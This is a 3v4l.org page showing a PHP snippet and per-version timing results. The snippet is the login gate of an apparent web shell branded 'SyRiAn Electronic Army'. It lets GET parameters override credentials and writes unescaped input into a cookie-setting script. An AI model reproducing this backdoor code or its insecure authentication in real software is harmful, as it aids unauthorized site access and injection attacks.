3v4l.org

run code in 300+ PHP versions simultaneously
# ---------------------------------------# # Authentication # #----------------------------------------# if ($uselogin ==1) { if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) { if($_GET) {$user = $_GET['user'];$pass = $_GET['pass'];} if($_POST['usrname']==$user && $_POST['passwrd']==$pass){ print'<script>document.cookie="user='.$_POST['usrname'].';";document.cookie="pass='.md5($_POST['passwrd']).';";</script>'; } else { if($_POST['usrname']){ print'<script>alert("Go and play in the street man !!");</script>'; } ?> <br><br> <center><img src="http://i40.tinypic.com/2rpuped.png"><br /> <sy>SyRiAn Electronic Army</sy> </center><br /> <div align="center"> <form method="POST" name="login_form" onSubmit="if(this.usrname.value==''){return false;}"> <input dir="ltr" name="usrname" id="username" value="" type="text" size="30" onBlur="Blur('username','userName');" onClick="Clear('username','userName');"/><br> <input dir="ltr" name="passwrd" id="password" value="" type="password" size="30" onFocus="Focus(2);" /><br> <input type="submit" value=" Login " name="login" /> </form> </div> <?php footer(); exit; } } } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.290.0130.04018.87
5.4.280.0300.03719.13
5.4.270.0200.03319.19
5.4.260.0170.04718.98
5.4.250.0170.04318.84
5.4.240.0200.04019.07
5.4.230.0230.05319.20
5.4.220.0330.06719.09
5.4.210.0200.06318.99
5.4.200.0330.05319.19
5.4.190.0300.06019.12
5.4.180.0230.04319.21
5.4.170.0200.07019.07
5.4.160.0270.06319.20
5.4.150.0300.06319.14
5.4.140.0270.05716.32
5.4.130.0270.06716.31
5.4.120.0230.04016.39
5.4.110.0300.05316.41
5.4.100.0400.06016.45
5.4.90.0330.06016.38
5.4.80.0230.03716.18
5.4.70.0400.06016.31
5.4.60.0270.04316.43
5.4.50.0230.03716.42
5.4.40.0370.06316.48
5.4.30.0270.03316.42
5.4.20.0230.05716.42
5.4.10.0230.03716.49
5.4.00.0200.04015.96
5.3.280.0230.07314.47
5.3.270.0300.05314.46
5.3.260.0270.05714.45
5.3.250.0230.07314.55
5.3.240.0200.04014.46
5.3.230.0270.07314.43
5.3.220.0300.07314.52
5.3.210.0330.06014.61
5.3.200.0230.07314.44
5.3.190.0300.06714.59
5.3.180.0200.04314.42
5.3.170.0270.05714.59
5.3.160.0300.07014.54
5.3.150.0230.04314.59
5.3.140.0230.04714.60
5.3.130.0270.07314.45
5.3.120.0430.05714.48
5.3.110.0230.04014.50
5.3.100.0170.06314.02
5.3.90.0370.06713.99
5.3.80.0300.07013.95
5.3.70.0330.07013.86
5.3.60.0200.04313.80
5.3.50.0330.05713.85
5.3.40.0330.04013.99
5.3.30.0270.05313.96
5.3.20.0300.06713.54
5.3.10.0330.06313.45
5.3.00.0270.06713.54
5.2.170.0230.03311.30
5.2.160.0230.02711.05
5.2.150.0270.05311.00
5.2.140.0230.06311.16
5.2.130.0270.05010.96
5.2.120.0300.05311.01
5.2.110.0300.04711.11
5.2.100.0200.06311.05
5.2.90.0270.05711.11
5.2.80.0230.03711.14
5.2.70.0230.05311.03
5.2.60.0230.05311.10
5.2.50.0270.05310.91
5.2.40.0230.04311.09
5.2.30.0200.04310.82
5.2.20.0200.05710.82
5.2.10.0200.05010.80
5.2.00.0270.05010.76
5.1.60.0200.05310.07
5.1.50.0200.0509.93
5.1.40.0230.0479.95
5.1.30.0200.03310.34
5.1.20.0170.03710.31
5.1.10.0230.0479.94
5.1.00.0170.0539.94
5.0.50.0100.0379.74
5.0.40.0170.0409.74
5.0.30.0130.0539.74
5.0.20.0130.0439.74
5.0.10.0130.0309.74
5.0.00.0100.0509.74
4.4.90.0070.0339.74
4.4.80.0130.0339.74
4.4.70.0070.0279.74
4.4.60.0100.0409.74
4.4.50.0200.0209.74
4.4.40.0170.0479.74
4.4.30.0070.0379.74
4.4.20.0100.0279.74
4.4.10.0100.0379.74
4.4.00.0130.0379.74
4.3.110.0070.0239.74
4.3.100.0100.0339.74
4.3.90.0030.0339.74
4.3.80.0030.0339.74
4.3.70.0130.0279.74
4.3.60.0070.0239.74
4.3.50.0130.0179.74
4.3.40.0170.0209.74
4.3.30.0070.0239.74
4.3.20.0070.0209.74
4.3.10.0030.0409.74
4.3.00.0100.0339.74

preferences:
141.73 ms | 1394 KiB | 7 Q